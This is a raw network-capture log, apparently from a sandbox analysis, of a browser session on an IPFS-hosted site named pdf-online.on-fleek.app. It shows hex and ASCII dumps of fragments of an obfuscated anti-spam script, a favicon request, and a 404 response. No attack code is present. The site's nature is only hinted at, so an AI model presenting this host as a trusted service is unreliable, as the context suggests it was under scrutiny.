2024-09-27 06:18:10 UTC	579	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 50 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 29 7b 69 66 28 21 28 41 3d 28 56 3d 6e 75 6c 6c 2c 4c 29 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 41 29 7c 7c 21 41 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 56 3b 74 72 79 7b 56 3d 41 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 6b 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 6b 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 6b 7d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var P=function(V,A){if(!(A=(V=null,L).trustedTypes,A)\|\|!A.createPolicy)return V;try{V=A.createPolicy("bg",{createHTML:k,createScript:k,createScriptURL:k}
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 6f 6b 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 2c 67 29 7b 69 66 28 56 2e 6c 65 6e 67 74 68 3d 3d 33 29 7b 66 6f 72 28 67 3d 30 3b 67 3c 33 3b 67 2b 2b 29 41 5b 67 5d 2b 3d 56 5b 67 5d 3b 66 6f 72 28 67 3d 28 56 3d 5b 31 33 2c 38 2c 31 33 2c 31 32 2c 31 36 2c 35 2c 33 2c 31 30 2c 31 35 5d 2c 30 29 3b 67 3c 39 3b 67 2b 2b 29 41 5b 33 5d 28 41 2c 67 25 33 2c 56 5b 67 5d 29 7d 7d 2c 59 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 2c 67 29 7b 69 66 28 56 3d 3d 34 37 36 7c 7c 56 3d 3d 31 36 36 29 41 2e 54 5b 56 5d 3f 41 2e 54 5b 56 5d 2e 63 6f 6e 63 61 74 28 67 29 3a 41 2e 54 5b 56 5d 3d 56 7a 28 67 2c 41 29 3b 65 6c 73 65 7b 69 66 Data Ascii: X-License-Identifier: Apache-2.0','*/','var ok=function(V,A,g){if(V.length==3){for(g=0;g<3;g++)A[g]+=V[g];for(g=(V=[13,8,13,12,16,5,3,10,15],0);g<9;g++)A[3](A,g%3,V[g])}},Y=function(V,A,g){if(V==476\|\|V==166)A.T[V]?A.T[V].concat(g):A.T[V]=Vz(g,A);else{if
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 76 6f 69 64 20 30 2c 42 29 2c 28 56 2e 44 3d 66 61 6c 73 65 2c 56 29 2e 73 3d 31 2c 5b 5d 29 2c 56 2e 67 3d 5b 5d 2c 56 2e 4f 3d 76 6f 69 64 20 30 2c 56 2e 58 3d 76 6f 69 64 20 30 2c 28 56 2e 49 3d 28 56 2e 42 3d 66 61 6c 73 65 2c 56 2e 54 3d 28 56 2e 53 3d 30 2c 56 2e 4e 5f 3d 30 2c 5b 5d 29 2c 56 2e 6b 69 3d 66 61 6c 73 65 2c 56 2e 4a 3d 30 2c 28 56 2e 6c 3d 56 2c 56 29 2e 47 3d 30 2c 30 29 2c 56 29 2e 58 71 3d 32 35 2c 28 28 56 2e 52 30 3d 28 28 56 2e 6c 5a 3d 5b 5d 2c 56 29 2e 70 71 3d 67 2c 66 61 6c 73 65 29 2c 56 29 2e 43 3d 30 2c 56 29 2e 55 3d 28 56 2e 48 42 3d 38 30 30 31 2c 56 2e 46 3d 30 2c 56 2e 41 3d 6e 75 6c 6c 2c 28 56 2e 6a 3d 5b 5d 2c 56 2e 6f 30 3d 5b 5d 2c 56 2e 4e 3d 28 56 2e 48 3d 76 6f 69 64 20 30 2c 30 29 2c 56 29 2e 68 3d 76 6f 69 Data Ascii: void 0,B),(V.D=false,V).s=1,[]),V.g=[],V.O=void 0,V.X=void 0,(V.I=(V.B=false,V.T=(V.S=0,V.N_=0,[]),V.ki=false,V.J=0,(V.l=V,V).G=0,0),V).Xq=25,((V.R0=((V.lZ=[],V).pq=g,false),V).C=0,V).U=(V.HB=8001,V.F=0,V.A=null,(V.j=[],V.o0=[],V.N=(V.H=void 0,0),V).h=voi
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 50 2c 4c 2e 6c 29 29 29 29 29 7d 29 2c 56 29 2c 66 75 6e 63 74 69 6f 6e 28 4c 2c 50 29 7b 28 4c 3d 28 50 3d 4f 28 4c 29 2c 78 28 50 2c 4c 2e 6c 29 29 2c 4c 29 5b 30 5d 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 4c 5b 31 5d 2c 4c 5b 32 5d 2c 77 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 4c 2c 50 2c 49 2c 53 29 7b 21 64 28 74 72 75 65 2c 66 61 6c 73 65 2c 4c 2c 50 29 26 26 28 50 3d 46 47 28 4c 29 2c 49 3d 50 2e 71 5f 2c 53 3d 50 2e 64 56 2c 4c 2e 6c 3d 3d 4c 7c 7c 53 3d 3d 4c 2e 6e 71 26 26 49 3d 3d 4c 29 26 26 28 59 28 50 2e 4d 5f 2c 4c 2c 53 2e 61 70 70 6c 79 28 49 2c 50 2e 4b 29 29 2c 4c 2e 55 3d 4c 2e 52 28 29 29 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 4c 2c 50 2c 49 2c 53 29 7b 28 50 3d 28 49 3d 28 53 3d 28 50 3d 28 49 3d 4f 28 4c 29 2c Data Ascii: P,L.l)))))}),V),function(L,P){(L=(P=O(L),x(P,L.l)),L)[0].removeEventListener(L[1],L[2],w)}),function(L,P,I,S){!d(true,false,L,P)&&(P=FG(L),I=P.q_,S=P.dV,L.l==L\|\|S==L.nq&&I==L)&&(Y(P.M_,L,S.apply(I,P.K)),L.U=L.R())})),function(L,P,I,S){(P=(I=(S=(P=(I=O(L),
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 29 2c 32 35 34 29 2c 56 2c 66 75 6e 63 74 69 6f 6e 28 4c 29 7b 59 4f 28 4c 2c 33 29 7d 29 2c 56 29 2c 5b 5d 29 2c 32 36 32 29 2c 56 2c 66 75 6e 63 74 69 6f 6e 28 4c 2c 50 2c 49 2c 53 29 7b 59 28 28 50 3d 4f 28 28 53 3d 4f 28 4c 29 2c 4c 29 29 2c 49 3d 4f 28 4c 29 2c 49 29 2c 4c 2c 78 28 53 2c 4c 29 7c 7c 78 28 50 2c 4c 29 29 7d 29 2c 30 29 2c 56 29 2c 36 37 35 29 2c 56 29 2c 66 75 6e 63 74 69 6f 6e 28 4c 2c 50 2c 49 2c 53 29 7b 59 28 28 50 3d 28 49 3d 28 53 3d 28 49 3d 4f 28 4c 29 2c 4f 28 4c 29 29 2c 78 28 49 2c 4c 29 29 2c 78 29 28 53 2c 4c 29 2c 53 29 2c 4c 2c 50 2b 49 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 4c 2c 50 2c 49 29 7b 59 28 28 49 3d 28 50 3d 4f 28 4c 29 2c 4f 28 4c 29 29 2c 49 29 2c 4c 2c 22 22 2b 78 28 50 2c 4c 29 29 7d 29 29 2c 56 29 2c 66 Data Ascii: ),254),V,function(L){YO(L,3)}),V),[]),262),V,function(L,P,I,S){Y((P=O((S=O(L),L)),I=O(L),I),L,x(S,L)\|\|x(P,L))}),0),V),675),V),function(L,P,I,S){Y((P=(I=(S=(I=O(L),O(L)),x(I,L)),x)(S,L),S),L,P+I)}),function(L,P,I){Y((I=(P=O(L),O(L)),I),L,""+x(P,L))})),V),f
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 56 2c 41 29 7b 72 65 74 75 72 6e 20 41 3d 5a 28 56 29 2c 41 26 31 32 38 26 26 28 41 3d 41 26 31 32 37 7c 5a 28 56 29 3c 3c 37 29 2c 41 7d 2c 46 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 2c 67 2c 6b 2c 4a 2c 42 2c 66 2c 62 2c 4c 2c 50 2c 49 2c 53 2c 70 2c 4b 29 7b 69 66 28 70 3d 78 28 34 37 36 2c 67 29 2c 70 3e 3d 67 2e 47 29 74 68 72 6f 77 5b 43 2c 33 31 5d 3b 66 6f 72 28 66 3d 28 42 3d 28 6b 3d 30 2c 67 2e 73 62 2e 6c 65 6e 67 74 68 29 2c 49 3d 41 2c 70 29 3b 49 3e 30 3b 29 53 3d 66 3e 3e 33 2c 62 3d 66 25 38 2c 4a 3d 67 2e 67 5b 53 5d 2c 4c 3d 38 2d 28 62 7c 30 29 2c 4c 3d 4c 3c 49 3f 4c 3a 49 2c 56 26 26 28 4b 3d 67 2c 50 3d 66 2c 4b 2e 48 21 3d 50 3e 3e 36 26 26 28 4b 2e 48 3d 50 3e 3e 36 2c 50 3d 78 28 31 38 33 2c 4b 29 2c 4b 2e Data Ascii: unction(V,A){return A=Z(V),A&128&&(A=A&127\|Z(V)<<7),A},F=function(V,A,g,k,J,B,f,b,L,P,I,S,p,K){if(p=x(476,g),p>=g.G)throw[C,31];for(f=(B=(k=0,g.sb.length),I=A,p);I>0;)S=f>>3,b=f%8,J=g.g[S],L=8-(b\|0),L=L<I?L:I,V&&(K=g,P=f,K.H!=P>>6&&(K.H=P>>6,P=x(183,K),K.
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 41 7c 30 29 2b 32 29 25 33 5d 2c 56 5b 41 5d 3d 28 56 5b 41 5d 7c 30 29 2d 28 56 5b 28 28 41 7c 30 29 2b 31 29 25 33 5d 7c 30 29 2d 28 6b 7c 30 29 5e 28 41 3d 3d 31 3f 6b 3c 3c 67 3a 6b 3e 3e 3e 67 29 7d 63 61 74 63 68 28 4a 29 7b 74 68 72 6f 77 20 4a 3b 7d 7d 2c 57 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 2c 67 2c 6b 2c 4a 2c 42 29 7b 69 66 28 56 2e 56 2e 6c 65 6e 67 74 68 29 7b 56 2e 42 3d 28 56 2e 42 26 26 22 3a 54 51 52 3a 54 51 52 3a 22 28 29 2c 74 72 75 65 29 2c 56 2e 51 32 3d 41 3b 74 72 79 7b 4a 3d 56 2e 52 28 29 2c 56 2e 4a 3d 30 2c 56 2e 55 3d 4a 2c 56 2e 53 3d 4a 2c 56 2e 57 3d 30 2c 6b 3d 58 47 28 56 2c 41 29 2c 41 3d 67 3f 30 3a 31 30 2c 42 3d 56 2e 52 28 29 2d 56 2e 53 2c 56 2e 49 2b 3d 42 2c 56 2e 56 32 26 26 56 2e 56 32 28 42 2d 56 2e 46 2c Data Ascii: A\|0)+2)%3],V[A]=(V[A]\|0)-(V[((A\|0)+1)%3]\|0)-(k\|0)^(A==1?k<<g:k>>>g)}catch(J){throw J;}},W=function(V,A,g,k,J,B){if(V.V.length){V.B=(V.B&&":TQR:TQR:"(),true),V.Q2=A;try{J=V.R(),V.J=0,V.U=J,V.S=J,V.W=0,k=XG(V,A),A=g?0:10,B=V.R()-V.S,V.I+=B,V.V2&&V.V2(B-V.F,
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 73 2e 6e 2b 2b 2c 74 68 69 73 2e 6f 2e 6c 65 6e 67 74 68 3c 35 30 29 3f 74 68 69 73 2e 6f 2e 70 75 73 68 28 6b 29 3a 28 4a 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2a 74 68 69 73 2e 6e 29 2c 4a 3c 35 30 26 26 28 74 68 69 73 2e 6f 5b 4a 5d 3d 6b 29 29 7d 2c 67 29 2e 70 72 6f 74 6f 74 79 70 65 2e 47 58 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 6e 3d 3d 3d 30 29 72 65 74 75 72 6e 5b 30 2c 30 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 6b 2c 4a 29 7b 72 65 74 75 72 6e 20 6b 2d 4a 7d 29 2c 5b 74 68 69 73 2e 6e 2c 74 68 69 73 2e 6f 5b 74 68 69 73 2e 6f 2e 6c 65 6e 67 74 68 3e 3e 31 5d 5d 7d 2c 6e 65 77 20 67 29 2c 6e 65 77 20 67 29 2c 66 75 6e 63 74 69 6f 6e 28 6b Data Ascii: s.n++,this.o.length<50)?this.o.push(k):(J=Math.floor(Math.random()*this.n),J<50&&(this.o[J]=k))},g).prototype.GX=function(){if(this.n===0)return[0,0];return this.o.sort(function(k,J){return k-J}),[this.n,this.o[this.o.length>>1]]},new g),new g),function(k
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 56 7d 2c 67 2e 63 6f 6e 63 61 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 56 3d 6b 7d 2c 67 7d 2c 79 7a 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 2c 67 2c 6b 29 7b 6c 28 28 67 3d 4f 28 28 6b 3d 4f 28 56 29 2c 56 29 29 2c 67 29 2c 7a 28 78 28 6b 2c 56 29 2c 41 29 2c 56 29 7d 2c 75 51 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 2c 67 2c 6b 29 7b 72 65 74 75 72 6e 28 59 28 34 37 36 2c 56 2c 28 51 7a 28 56 2c 28 28 6b 3d 78 28 34 37 36 2c 56 29 2c 56 2e 67 26 26 6b 3c 56 2e 47 29 3f 28 59 28 34 37 36 2c 56 2c 56 2e 47 29 2c 50 34 28 56 2c 41 29 29 3a 59 28 34 37 36 2c 56 2c 41 29 2c 67 29 29 2c 6b 29 29 2c 78 29 28 35 34 2c 56 29 7d 2c 77 61 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 29 7b 72 65 74 75 72 6e 20 56 28 66 75 6e Data Ascii: nction(){return V},g.concat=function(k){V=k},g},yz=function(V,A,g,k){l((g=O((k=O(V),V)),g),z(x(k,V),A),V)},uQ=function(V,A,g,k){return(Y(476,V,(Qz(V,((k=x(476,V),V.g&&k<V.G)?(Y(476,V,V.G),P4(V,A)):Y(476,V,A),g)),k)),x)(54,V)},wa=function(V,A){return V(fun
2024-09-27 06:18:10 UTC	1390	IN	Data Raw: 2c 4c 7d 2c 66 7d 2c 4e 78 3d 66 75 6e 63 74 69 6f 6e 28 56 2c 41 2c 67 2c 6b 2c 4a 29 7b 66 6f 72 28 56 3d 28 6b 3d 28 4a 3d 56 5b 32 5d 7c 30 2c 30 29 2c 56 5b 33 5d 7c 30 29 3b 6b 3c 31 35 3b 6b 2b 2b 29 41 3d 41 3e 3e 3e 38 7c 41 3c 3c 32 34 2c 56 3d 56 3e 3e 3e 38 7c 56 3c 3c 32 34 2c 41 2b 3d 67 7c 30 2c 41 5e 3d 4a 2b 32 31 33 31 2c 67 3d 67 3c 3c 33 7c 67 3e 3e 3e 32 39 2c 56 2b 3d 4a 7c 30 2c 4a 3d 4a 3c 3c 33 7c 4a 3e 3e 3e 32 39 2c 67 5e 3d 41 2c 56 5e 3d 6b 2b 32 31 33 31 2c 4a 5e 3d 56 3b 72 65 74 75 72 6e 5b 67 3e 3e 3e 32 34 26 32 35 35 2c 67 3e 3e 3e 31 36 26 32 35 35 2c 67 3e 3e 3e 38 26 32 35 35 2c 67 3e 3e 3e 30 26 32 35 35 2c 41 3e 3e 3e 32 34 26 32 35 35 2c 41 3e 3e 3e 31 36 26 32 35 35 2c 41 3e 3e 3e 38 26 32 35 35 2c 41 3e 3e 3e 30 Data Ascii: ,L},f},Nx=function(V,A,g,k,J){for(V=(k=(J=V[2]\|0,0),V[3]\|0);k<15;k++)A=A>>>8\|A<<24,V=V>>>8\|V<<24,A+=g\|0,A^=J+2131,g=g<<3\|g>>>29,V+=J\|0,J=J<<3\|J>>>29,g^=A,V^=k+2131,J^=V;return[g>>>24&255,g>>>16&255,g>>>8&255,g>>>0&255,A>>>24&255,A>>>16&255,A>>>8&255,A>>>0

Timestamp	Bytes transferred	Direction	Data
2024-09-27 06:18:10 UTC	602	OUT	GET /favicon.ico HTTP/1.1 Host: pdf-online.on-fleek.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pdf-online.on-fleek.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 06:18:11 UTC	1305	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 06:18:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 192 Connection: close CF-Ray: 8c995ff9ac7243a3-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=60, stale-while-revalidate=3600 Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding access-control-allow-headers: Content-Type, Range, User-Agent, X-Requested-With access-control-allow-methods: GET,HEAD,OPTIONS access-control-expose-headers: Content-Length, Content-Range, X-Chunked-Output, X-Ipfs-Path, X-Ipfs-Roots, X-Stream-Output Access-Control-Max-Age: 86400 content-security-policy: upgrade-insecure-requests referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-ipfs-path: /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m/favicon.ico/ x-request-id: 622fcc78f1b14784ecd62e2bc353a3c0 x-xss-protection: 0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VyL2DB2ayCzgiDeRzfdn0HgmcIe4USBs1LNUtzg3SyQSqKH%2Fzy3P06wNalmtcPSflUw%2FSaEablPKxwZmOliR4meZT0E9EcIlzWFIun6NFikklVpC1VXEBDDPgyeKlxqbkXOvRyKgtDq8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-09-27 06:18:11 UTC	64	IN	Data Raw: 66 61 69 6c 65 64 20 74 6f 20 72 65 73 6f 6c 76 65 20 2f 69 70 66 73 2f 62 61 66 79 62 65 69 66 6d 62 75 32 74 74 77 61 62 74 69 35 78 70 37 37 79 73 33 78 32 33 76 36 71 64 6b 75 64 35 6e 64 Data Ascii: failed to resolve /ipfs/bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5nd
2024-09-27 06:18:11 UTC	128	IN	Data Raw: 62 63 6e 32 70 69 69 64 69 34 6d 75 63 72 61 6a 66 37 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 2f 3a 20 6e 6f 20 6c 69 6e 6b 20 6e 61 6d 65 64 20 22 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 75 6e 64 65 72 20 62 61 66 79 62 65 69 66 6d 62 75 32 74 74 77 61 62 74 69 35 78 70 37 37 79 73 33 78 32 33 76 36 71 64 6b 75 64 35 6e 64 62 63 6e 32 70 69 69 64 69 34 6d 75 63 72 61 6a 66 37 6d 0a Data Ascii: bcn2piidi4mucrajf7m/favicon.ico/: no link named "favicon.ico" under bafybeifmbu2ttwabti5xp77ys3x23v6qdkud5ndbcn2piidi4mucrajf7m